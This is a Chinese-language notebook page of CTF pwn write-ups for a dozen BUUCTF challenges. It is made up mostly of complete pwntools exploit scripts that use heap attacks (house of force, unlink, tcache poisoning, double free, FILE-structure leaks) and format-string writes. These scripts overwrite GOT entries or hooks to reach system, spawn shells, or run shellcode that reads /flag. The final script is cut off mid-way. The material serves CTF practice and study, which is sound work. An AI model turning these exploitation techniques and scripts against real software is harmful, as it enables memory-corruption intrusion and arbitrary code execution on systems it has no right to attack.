buu第五页笔记

bcloud_bctf_2016

 32位,ida打开,菜单堆题,只有增加删除修改功能,在选择功能之前会让我们输入名字,且会把我们输入的名字打印出来,这里写满的话会把第一个堆块的指针地址泄露出来(尝试),

 下图通过strcpy可以造成堆溢出,我们用来修改topchunk的size进行house of force

p.sendafter("your name:\n",b'a'*0x40)
p.recvuntil(b'a'*0x40)
heap=u32(p.recv(4))
p.sendafter("Org:\n",b'a'*0x40)
p.sendlineafter("Host:\n",p32(0xffffffff))

 如上图我们可以已经把topchunksize改了

top=heap+0xd0
chunkptr=0x804B120
create(chunkptr-top-0x20,b'a'*4)
create(0x20,b'a'*0x14+p32(elf.got['free'])) #chunk 1
edit(1,p32(elf.plt['puts']))

 可以看到成功修改,接下来就是泄露libc基地址,取得shell

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./bcloud_bctf_2016"
p=process(pwn)
#p=remote("node5.buuoj.cn",25087)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")

#---------------------------------------------------------------------------------------------------
def create(size,context=b'a'):
     p.sendlineafter("option--->>\n",str(1))
     p.sendlineafter("content:\n",str(size))
     p.sendlineafter("content:\n",context)

def edit(index,context):
     p.sendlineafter("option--->>\n",str(3))
     p.sendlineafter("the id:\n",str(index))
     p.sendlineafter("new content:\n",context)

def delete(index):
     p.sendlineafter("option--->>\n",str(4))
     p.sendlineafter("the id:\n",str(index))
     
p.sendafter("your name:\n",b'a'*0x40)
p.recvuntil(b'a'*0x40)
heap=u32(p.recv(4))
p.sendafter("Org:\n",b'a'*0x40)
p.sendlineafter("Host:\n",p32(0xffffffff))
top=heap+0xd0
chunkptr=0x804B120
create(chunkptr-top-0x20,b'a'*4)
create(0x20,b'a'*0x14+p32(elf.got['free'])+p32(elf.got['puts'])) #chunk 1
edit(1,p32(elf.plt['puts']))
#leak-->libcbase
delete(2)
puts_addr=u32(p.recv(4))
libcbase=puts_addr-libc.sym['puts']
print(hex(libcbase))
sys_addr=libcbase+libc.sym['system']
edit(1,p32(sys_addr))
create(0x10,b'/bin/sh\x00')
delete(2)
#debug()
p.interactive()

sctf_2019_easy_heap

 保护全开,ida打开,菜单堆题,增删改,且增不能输入内容,但是会把堆的指针存放地址打印,那就可以进行unlink,且能泄露程序基址,因为泄露的bss段的地址,根据相对偏移能计算出 程序基址,下面三张图得出fill可以进行off by null漏洞利用,且最多申请16个chunk,且chunk做了限制,libc2.27

且看下图发现该程序通过mmap函数开辟了一段可读可写可执行的地址,且会把该地址打印出来

create(0x410)   #chunk 0
create(0x18)    #chunk 1
create(0x28)    #chunk 2
create(0x4f0)   #chunk 3
create(0x10)    #chunk 4
delete(0)
fill(2,b'a'*0x20+p64(0x470))
delete(3)  #unlink

通过fill函数的offbynull进行unlink,此时的chunk先在unsortedbin,接下来删除chunk2和chunk1,将

 delete(1) delete(2) create(0x430) #chunk 0    通过overlap chunk 将unsorted bin chunk 的fd覆盖chunk2 的fd

create(0x520)  #chunk 1
fill(0,b'a'*0x410+p64(0)+p64(0x20)+p64(mmap)+p64(0))
fill(1,b'\x30'+b'\n')

 将mmap和__malloc_hook接入链表,后再申请出来,修改内容

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./easy_heap"
#p=process(pwn)
p=remote("node5.buuoj.cn",27904)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
p.recvuntil("Mmap: ")
mmap=int(p.recv(12),16)
def create(size):
      p.sendlineafter(">> ",b'1')
      p.sendlineafter("Size: ",str(size))
      p.recvuntil("Address ")
      heap_addr=int(p.recv(14),16)
      return heap_addr

def delete(index):
      p.sendlineafter(">> ",b'2')
      p.sendlineafter("Index: ",str(index))

def edit(index,context):
      p.sendlineafter(">> ",b'3')
      p.sendlineafter("Index: ",str(index))
      p.sendlineafter("Content: ",context)

pro_base = create(0x410) - 0x202068 #index 0
delete(0)
create(0x60) #index 0
create(0x68) #index 1
create(0x4f0) #index 2
create(0x10) #index 3
ptr = pro_base + 0x202060 + 0x8
payload = p64(0) + p64(0xd1) + p64(ptr - 0x18) + p64(ptr - 0x10)
edit(0, payload)
edit(1, p64(0)*12 + p64(0xd0))
delete(2)

# malloc_hook -> mmap
delete(1)
create(0x50) #index 1
payload = p64(0)*2 + p64(0x100) + p64(ptr - 8) + p64(0x8) + p8(0xd0)
edit(0, payload)
edit(1, p8(0x30))
create(0x60) #index 2
create(0x60) #index 4
edit(4, p64(mmap + 0x100))

#debug()
# set shellcode -> mmap
edit(0, p64(0x100) + p64(mmap + 0x100))
edit(0, asm(shellcraft.sh()))

# pwn
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'Size: ', str(0x10))
p.interactive()

强网杯2019 拟态 STKOF

 

asis2016_b00ks

 FULL RELRO全开,NX,PIE开了,ida打开看看,先会让我们输入名字大小为0x20的数据,根据下图知道偏移在bss段的0x202040

 主函数如下图

 create函数,先输入书本名,再输入书本内容,这里说的书名限制在0x20大小,但是没有实际代码约束,

 下面这张图的v3是重点,结合4的printf函数能够把堆块地址泄露,泄露的还是v3 malloc出来的fd地址处

p.sendlineafter("name: ",b'a'*0x20)
create(0xd0,b'dddd',0x20,b'cccc')
create(0x21000,b'a'*4,0x21000,b'eeee')
show()
p.recvuntil(b'a'*0x20)
chunk=u64(p.recv(6).ljust(8,b'\x00'))
chunk2=chunk+0x30

 如上图所示,先发送大小为0x20的a将作者名字填满,造成by null,使printf把第一个堆块的id chunk的地址泄露出来,同时malloc一个0xd0大小name chunk1,和一个0x20大小descr chunk 1,chunk2 malloc两个0x21000,就会通过mmap()分配一个很大的空间,与libc存在固定偏移,如下图所示

edit(1,p64(1)+p64(chunk2+8)+p64(chunk2+8)+p64(0x20))
change(b'a'*0x20)

show()
p.recvuntil("Name: ")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x5ca010
print(hex(libcbase))
free_hook=libcbase+libc.sym['__free_hook']
onegadget=libcbase+0x4526a

edit(1,p64(free_hook)*2)
edit(2,p64(onegadget))

delete(2)

这种方法本地能打通,但是远程环境不同,打不通

方法二:

堆块地址泄露的方法不变,接下来就是利用简单的unsorted bin 的泄露libc 基地址,伪造one_gadget 在__free_hook上

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
if(c):
gdb.attach(p,c)
else:
gdb.attach(p)
pause()

context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./b00ks"
#p=process(pwn)
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
p=remote("node5.buuoj.cn",28784)
elf=ELF(pwn)
#---------------------------------------------------------------------------------------------------
libc=ELF("//home/casual/Desktop/buu/libc-a-16-2.23.so")

def create(size1,content1,size2,content2):
p.sendlineafter("> ",b'1')
p.sendlineafter("name size: ",str(size1))
p.sendlineafter("(Max 32 chars): ",content1)
p.sendlineafter("size: ",str(size2))
p.sendlineafter("description: ",content2)

def delete(index):
p.sendlineafter("> ",b'2')
p.sendlineafter(b'delete: ', str(index))


def show():
p.sendlineafter("> ",b'4')

def edit(index,content):
p.sendlineafter("> ",b'3')
p.sendlineafter("edit: ",str(index))
p.sendlineafter("description: ",content)


def change(content):
p.sendlineafter("> ",b'5')
p.sendlineafter("name: ",content)
p.sendlineafter("name: ",b'a'*0x20)
create(0xd0,b'dddd',0x20,b'cccc') #index 1
show()
p.recvuntil(b'a'*0x20)
heap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(heap))
create(0x80,b'ffff',0x60,b'rrrr') #index 2
create(0x10,b'a',0x10,b'a') #index 3
delete(2)
edit(1,p64(1)+p64(heap+0x30)+p64(heap-0x30)+p64(0x20))  #name chunk->chunk 2 namechunk   ;   descr  chunk ->chunk 1 descr chunk
change(b'a'*0x20)
show()
p.recvuntil("Name: ")
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-88-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
ogg=libcbase+0x4526a
free=libcbase+libc.sym['__free_hook']
edit(1,p64(1)+p64(heap+0x30)+p64(free)+p64(0x20))
edit(1,p64(ogg))
delete(1)
p.interactive()

picoctf_2018_echooo

IDA打开

 格式化字符串,flag读在栈上,动调获得偏移,%p泄露字符串的值,再把字符串倒序拼接,OK看了学长的wp,简单的多了,寄

from pwn import *
from
LibcSearcher import * from struct import pack from ctypes import * import base64 def debug(c=0): if(c): gdb.attach(p,c) else: gdb.attach(p) pause() context(os='linux', arch='amd64', log_level='debug') #context(os='linux', arch='i386', log_level='debug') pwn="./PicoCTF_2018_echooo" #p=process(pwn) p=remote("node5.buuoj.cn",26810) elf=ELF(pwn) #libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so") libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") #--------------------------------------------------------------------------------------------------- payload=b'%27$p.%28$p.%29$p.%30$p.%31$p.%32$p.%33$p.%34$p.%35$p.%36$p.' p.sendlineafter("> ",payload) a=p.recvuntil(b'.')[2:-1][::-1] b=p.recvuntil(b'.')[2:-1][::-1] c=p.recvuntil(b'.')[2:-1][::-1] d=p.recvuntil(b'.')[2:-1][::-1] e=p.recvuntil(b'.')[2:-1][::-1] f=p.recvuntil(b'.')[2:-1][::-1] g=p.recvuntil(b'.')[2:-1][::-1] z=p.recvuntil(b'.')[2:-1][::-1] x=p.recvuntil(b'.')[2:-1][::-1] y=p.recvuntil(b'.')[2:-1][::-1] p.sendlineafter("> ",b'%37$p.') t=p.recvuntil(b'.')[2:7][::-1] flag='' for i in range(0,len(a),2): h=a[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(b),2): h=b[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(c),2): h=c[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(d),2): h=d[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(e),2): h=e[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(f),2): h=f[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(g),2): h=g[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(z),2): h=z[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(x),2): h=x[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(y),2): h=y[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) for i in range(0,len(t),2): h=t[i:i+2][::-1] flag+=chr(int(h,16)) print(flag) #debug()
p.interactive()

ciscn_2019_s_6

 保护全开,ida打开,菜单堆题,增删查三个功能,增加功能,堆块数量最多申请12次,然后会先malloc一个0x18的chunk,该chunk的内容指针+8存放自定义大小chunk的size,该chunk内容地址存放自定义大小chunk的指针地址,然后在自定义大小的chunk里输入数据,之后在自定义chunk+12处输入电话,最后会对自定义大小堆块末尾字节置0

 uaf,且释放指针也只释放自定义大小堆块的指针,两个指针都没置0

 show函数,只检查自定义大小的chunk,则可以进行uaf,泄露信息

 那初步思路就是直接申请一个超过tcache大小的chunk,然后free,再show,泄露libc基址,然后就是double free 修改freehook地址的值改为system地址

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./ciscn_s_6"
p=process(pwn)
#p=remote("node5.buuoj.cn",25903)
#elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#---------------------------------------------------------------------------------------------------
def create(size,context=b'a',call=b'a'):
     p.sendlineafter("choice:",str(1))
     p.sendlineafter("compary's name\n",str(size))
     p.sendafter("input name:\n",context)
     p.sendafter("call:\n",call)

def delete(index):
     p.sendlineafter("choice:",str(3))
     p.sendlineafter("index:\n",str(index))    

def show(index):
     p.sendlineafter("choice:",str(2))
     p.sendlineafter("index:\n",str(index))


create(0x410)  #chunk 0
create(0x18)   #chunk 1
create(0x18,b'/bin/sh\x00') #chunk 2
delete(0)
show(0)
libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-96-0x10-libc.sym['__malloc_hook']
print(hex(libcbase))
delete(1)
delete(1)
create(0x18,p64(libcbase+libc.sym['__free_hook']),b'a')  #chunk 3    
create(0x18,p64(libcbase+libc.sym['system']),b'a')       #chunk 4
delete(2)
#debug()
p.interactive()

linkctf_2018.7_babypie

 格式化字符串漏洞泄露canary

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./babypie"
p=process(pwn)
#p=remote("node5.buuoj.cn",26810)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
p.sendafter("Name:\n",b'a'*0x29)
p.recvuntil(b'a'*0x29)
canary=u64(p.recv(7).rjust(8,b'\x00'))
print(hex(canary))
p.send(b'a'*0x28+p64(canary)+b'a'*8+p8(0x42))
#debug()
p.interactive()

SWPUCTF_2019_p1KkHeap

 保护全开,ida打开,菜单堆题,增加功能,chunksize最大为0x100,check函数会遍历一遍chunkptr的列表,有空的则会返回该chunk的索引,全满则退出,主函数对我们进行的操作进行了限制,我们对于chunk最多能够进行12次操作,申请功能不能输入数据

 show功能

 删除功能,最多进行删除操作3次,存在uaf漏洞

 同时存在可读可写可执行区域,且地址已知,存在沙箱,禁用了execve,只能利用orw进行读写操作

 通过doublefree泄露tcache的结构体的地址,tcache attack时 如果可以利用tcache_perthread_struct,优先考虑利用这个结构体,可以省去很多麻烦。控制了这个结构体,相当于就控制了malloc的分配,可以控制tcache binschunk的数量和分配地址。tcache_perthread_struct结构体在堆上,大小一般为0x250。它的前64个字节,分别代表0x20~0x410大小的chunk(包括chunk头)的数量。当超过7的时候,再次释放的chunk会被放入到fastbin或者unsorted bin。后面的内存,则分别表示0x20~0x410大小tcache bins的首地址。如下图所示,上面框的是chunkbin链的数量,下面的是链表

 就是通过劫持tcache结构体,达到任意chunk地址分配可读写的能力,太强了,tcachebin没有对size进行检查,效率高,漏洞的利用也多

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./SWPUCTF_2019_p1KkHeap"
#p=process(pwn)
p=remote("node5.buuoj.cn",29153)
#elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#---------------------------------------------------------------------------------------------------
def create(size):
     p.sendlineafter("Your Choice: ",str(1))
     p.sendlineafter("size: ",str(size))

def delete(index):
     p.sendlineafter("Your Choice: ",str(4))
     p.sendlineafter("id: ",str(index))    

def show(index):
     p.sendlineafter("Your Choice: ",str(2))
     p.sendlineafter("id: ",str(index))

def edit(index,context):
     p.sendlineafter("Your Choice: ",str(3))
     p.sendlineafter("id: ",str(index))
     p.sendafter("content: ",context)

buf=0x66660000
create(0x100) #chunk 0
create(0x10)  #chunk 1
delete(0)
delete(0)
show(0)  
p.recvuntil("content: ")
tcache_struct=u64(p.recv(6).ljust(8,b'\x00'))-0x260
print(hex(tcache_struct))
create(0x100)  #chunk 2
edit(2,p64(tcache_struct+0x10))
create(0x100)  #chunk 3
create(0x100)  #chunk 4
edit(4,b'\x07'*0x40+p64(0)*4+p64(buf))
delete(3)

show(3)
p.recvuntil("content: ")
malloc=u64(p.recv(6).ljust(8,b'\x00'))-96-0x10
libcbase=malloc-libc.sym['__malloc_hook']
print(hex(libcbase))
create(0x50)   #chunk 5
shellcode=asm(shellcraft.open('/flag')+shellcraft.read(3,buf+0x100,0x40)+shellcraft.write(1,buf+0x100,0x40))
edit(5,shellcode)
edit(4,b'\x01'*8+p64(0)*8+p64(malloc))

create(0x20)  #chunk 6
edit(6,p64(buf))
create(0x20)
#debug()
p.interactive()

roarctf_2019_realloc_magic

 保护全开,ida打开,菜单堆题,申请删除,还有一个chunk指针清空的操作,申请chunk采用realloc来为chunk分配大小,该功能能够重复利用,重复改变chunk的大小,但是只能申请有且只有一个chunk

realloc函数功能比malloc更加复杂,与malloc也有一定的区分。

①当ptr == nullptr的时候,相当于malloc(size), 返回分配到的地址
②当ptr != nullptr && size == 0的时候,相当于free(ptr),返回空指针
③当size小于原来ptr所指向的内存的大小时,直接缩小,返回ptr指针。被削减的那块内存会被释放,放入对应的bins中去
④当size大于原来ptr所指向的内存的大小时,如果原ptr所指向的chunk后面又足够的空间,那么直接在后面扩容,返回ptr指针;如果后面空间不足,先释放ptr所申请的内存,然后试图分配size大小的内存,返回分配后的指针

 删除操作存在uaf

 还有一个将指针清空的操作,但是只能进行一次

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./roarctf_2019_realloc_magic"
#p=process(pwn)
p=remote("node5.buuoj.cn",28789)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-a-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def realloc(size,context):
     p.sendlineafter(">> ",str(1))
     p.sendlineafter("Size?\n",str(size))
     p.sendafter("Content?\n",context)

def delete():
     p.sendlineafter(">> ",str(2))

def ba():
     p.sendlineafter(">> ",str(666))

def pwn():
    realloc(0x30,b'a')
    realloc(0,b'')
    realloc(0x80,b'a')
    realloc(0,b'')
    realloc(0x10,b'a')
    realloc(0,b'')
    realloc(0x80,b'a')
    for i in range(7):
             delete()
    realloc(0,b'')
    realloc(0x30,b'a')
    payload=p64(0)*7+p64(0x51)+p8(0x60)+p8(0xe7)
    realloc(0x50,payload)
    realloc(0,b'')
    
    realloc(0x80,b'a')
    realloc(0,b'')
    
    payload=p64(0xfbad1887)+p64(0)*3+p64(0x58)
    realloc(0x80,payload)
    
    libcbase=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['_IO_file_jumps']
    print(hex(libcbase))
    
    ba()
    realloc(0x20,b'a')
    realloc(0,b'')
    realloc(0x90,b'a')
    realloc(0,b'')
    realloc(0x10,b'a')
    realloc(0,b'')
    realloc(0x90,b'a')
    for i in range(7):
             delete()
    realloc(0,b'')
    free_hook=libcbase+libc.sym['__free_hook']
    sys_addr=libcbase+libc.sym['system']
    
    realloc(0x20,b'a')
    payload=p64(0)*5+p64(0x51)+p64(free_hook-8)
    realloc(0x40,payload)
    realloc(0,b'')
    realloc(0x90,b'a')
    realloc(0,b'')
    realloc(0x90,b'/bin/sh\x00'+p64(sys_addr))
    delete()
    #debug()
    p.interactive()

pwn()

SWPUCTF_2019_login

 格式化字符串漏洞,但是读入的是bss段上,则不能自定义栈上的参数,但是通过函数嵌套,则rbp链能够利用,无后门函数,RELRO半开,则准备修改函数printgot表的地址改为system函数地址,程序里无system,则先泄露libc

 gdb动调发现有栈链,且有bss段的地址,跟printf的got地址相差一个字节,还看到栈上有libcstartmain函数的偏移地址,能够泄露libc基地址

p.sendafter("name: \n",b'a'*0xc)
p.sendlineafter("password: \n",b'%15$p%10$p')
p.recvuntil("password: ")
libcbase=int(p.recv(10),16)-0x21519   #-libc.sym['__libc_start_call_main']-121
stack=(int(p.recv(10),16)-0x20+0xc)&0xff
sys_addr=libcbase+libc.sym['system']
print(hex(libcbase))
print(hex(sys_addr))
print(hex(stack))
p.sendafter("again!\n",b'%'+str(stack).encode()+b'c%6$hhn')

找对偏移,如下图已经修改了指向地址

p.sendafter("again!\n",b'%'+str(0x14).encode()+b'c%10$hhn')

 但是写的时候发现要修改的值太大,则还要有一个栈地址知晓got+2的位置最好,之后就一次性进行修改,可以把0xffe880d4也改一下,借助ebp的链先指向该地址

p.sendafter("name: \n",b'a'*0xc)
p.sendlineafter("password: \n",b'%15$p%10$p')
p.recvuntil("password: ")
libcbase=int(p.recv(10),16)-0x21519   #-libc.sym['__libc_start_call_main']-121
stack=(int(p.recv(10),16))
sys_addr=libcbase+libc.sym['system']
print(hex(libcbase))
print(hex(sys_addr))
print(hex(stack))
p.sendafter("again!\n",b'%'+str((stack-0x24)&0xff).encode()+b'c%6$hhn')
p.sendafter("again!\n",b'%'+str(0x16).encode()+b'c%10$hhn')
p.sendafter("again!\n",b'%'+str((stack-4)&0xff).encode()+b'c%6$hhn')
p.sendafter("again!\n",b'%'+str((stack-0x14)&0xff).encode()+b'c%10$hhn')
p.sendafter("again!\n",b'%'+str(0x14).encode()+b'c%13$hhn')

经过一番艰难的调试n次之后,终于改完了(我太菜了)

a=(sys_addr>>16)&0xff
b=(sys_addr)&0xffff
p.sendafter("again!\n",b'%'+str(a).encode()+b'c%5$hhn'+b'%'+str(b-a).encode()+b'c%9$hn')
p.sendafter("again!\n",b'/bin/sh\x00')

Ok,远程的时候发现了,libc版本没换,本地是能直接通的,结果不同libc,栈的结构不一样,从头来,真好,其实参数都有,但是在动调的时候发现第二个地址0x804b014末尾地址会又变成0x80,本地都打不通了,那就试试另一种方法把,修改返回地址为system,因为libc基地址是知道的,那就这样做吧,结果本地打不通,远程却可以,真有点玄学了,本来远程打不通就要去修改main函数的返回地址了,因为上面那种方法的原因是bss段的地址老是修复?但是下面的方法binsh的地址也覆盖到了该bss段的数据地址,但是远程可以通,毁灭吧

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./SWPUCTF_2019_login"
#p=process(pwn)
p=remote("node5.buuoj.cn",25587)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so")

#---------------------------------------------------------------------------------------------------
p.sendafter("name: \n",b'a'*0xc)
p.sendlineafter("password: \n",b'%15$p%10$p')
p.recvuntil("password: ")
libcbase=int(p.recv(10),16)-libc.sym['__libc_start_main']-0xf1
stack=(int(p.recv(10),16))
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
print(hex(libcbase))
print(hex(stack))
print(hex(sys_addr))
print(hex(bin_sh))
#ret--->system
for i in range(4):
    p.sendafter("again!\n",b'%'+str((stack-0x1c+i)&0xff).encode()+b'c%6$hhn')
    p.sendafter("again!\n",b'%'+str((sys_addr>>8*i)&0xff).encode()+b'c%10$hhn')

#bin_sh
for i in range(4):
    p.sendafter("again!\n",b'%'+str((stack-0x14+i)&0xff).encode()+b'c%6$hhn')
    p.sendafter("again!\n",b'%'+str((bin_sh>>8*i)&0xff).encode()+b'c%10$hhn')

#debug()
p.sendafter("again!\n",b'wllmmllw')
p.interactive()

de1ctf_2019_weapon

 保护全开,ida打开,菜单堆题,创建自定义chunk,且范围为0~0x60大小的,且无读内容的溢出漏洞,还能选择chunk的索引,泪目了,且没有对索引进行检查,可以弄堆块覆盖

 存在uaf

 edit功能看不出些什么,就是读内容没有进行\x00截断,但是也没有show功能的函数

 

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./de1ctf_2019_weapon"
p=process(pwn)
#p=remote("node5.buuoj.cn",27644)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-a-16-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
#-------------------------------------------------------------------------------------------------------
def create(size,index,name=b'a'):
     p.sendlineafter("choice >> ",str(1))
     p.sendlineafter("weapon: ",str(size))
     p.sendlineafter("index: ",str(index))
     p.sendafter("name:\n",name)

def delete(index):
     p.sendlineafter("choice >> ",str(2))
     p.sendlineafter("input idx :",str(index))

def edit(index,context):
     p.sendlineafter("choice >> ",str(3))
     p.sendlineafter("input idx: ",str(index))
     p.sendafter("new content:\n",context)

def pwn():
    create(0x50,0)    
    create(0x50,1)
    create(0x60,2)
    create(0x50,3)
    create(0x10,4)
    edit(0,b'a'*0x40+p64(0)+p64(0x61))  #fake size
    delete(0)                             #fastbindup
    delete(1) 
    delete(0)                           #double
    edit(0,p8(0x50))                    #edit fd 
    create(0x50,5) 
    create(0x50,6,p64(0)+p64(0x131))    #fake size
    delete(2)
    delete(1)                           #unsorted bin -->libcbase
    create(0x50,7)
    create(0x50,8,p8(0xdd)+p8(0xd5))
    edit(1,b'a'*0x40+p64(0)+p64(0x61))
    delete(0)
    delete(1)
    delete(0)
    edit(0,p8(0xb0))
    create(0x50,9)
    create(0x50,10,p64(0)+p64(0x71))
    create(0x60,11)
    payload=b'a'*0x33+p64(0xfbad1887)+p64(0)*3+p8(0xa0)+p8(0xd2)
    create(0x60,12,payload)
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 1896 - 0x10 - libc.sym['__malloc_hook']
    sleep(1)
    
    fakechunk=libc_base+libc.sym['__malloc_hook']-0x23
    one_gadget=libc_base+0xf147
    create(0x60,13,b'a')
    delete(13)
    create(0x60,14)
    create(0x60,15,b'a'*0x13+p64(one_gadget))
    p.sendlineafter("choice >> ",str(1))
    p.sendlineafter("weapon: ",str(1))
    p.sendlineafter("index: ",str(1))
    p.interactive()      

while(1):
    try:
      p=remote("node5.buuoj.cn", 29141)
      pwn()
    except:
      p.close()  
#debug()
p.interactive()

qctf_2018_stack2

跟上一页一道题一样

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./stack2"
#p=process(pwn)
p=remote("node5.buuoj.cn",25087)
elf=ELF(pwn)
libc=ELF("/home/casual/Desktop/buu/libc-i-18-2.27.so")
#libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.27-3ubuntu1_i386/libc-2.27.so")

#---------------------------------------------------------------------------------------------------
p.sendlineafter("have:",str(1))
p.sendlineafter("numbers\n",str(1))
backdoor=0x804859B
for i in range(4):
    p.sendlineafter("5. exit",str(3))    
    p.sendlineafter("change:\n",str(0x84+i))
    p.sendlineafter("number:\n",str(backdoor>>8*i))
#debug()
p.sendlineafter("5. exit",str(5))
p.interactive()

hitcontraining_playfmt

 有可读可写可执行的段,先想到的肯定是写shellcode,函数嵌套,有点像之前的一道题,但是这个可以多种解法吧,既可以直接修改返回地址到system函数,又可以直接将栈上写出shellcode再执行,但是这个方法更加麻烦

 动调发现ebp链,又有格式化字符串漏洞,则进行任意地址写

 下面exp本地包能通的,远程通不了,老是说超时,决定用另外一种方法了,只能是写shellcode,这样不用进行libc基地址找函数偏移了,应该时间少点

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()         
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
pwn="./playfmt"
p=process(pwn)
#p=remote("node5.buuoj.cn",27652)
elf=ELF(pwn)
#libc=ELF("/home/casual/Desktop/buu/libc-i-16-2.23.so")
libc=ELF("/home/casual/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")

#---------------------------------------------------------------------------------------------------
#debug('b *0x8048515')
p.send(b'%6$p.%15$p.')
stack=int(p.recvuntil(b'.')[-11:-1],16)
libcbase=int(p.recvuntil(b'.')[-11:-1],16)-247-libc.sym['__libc_start_main']
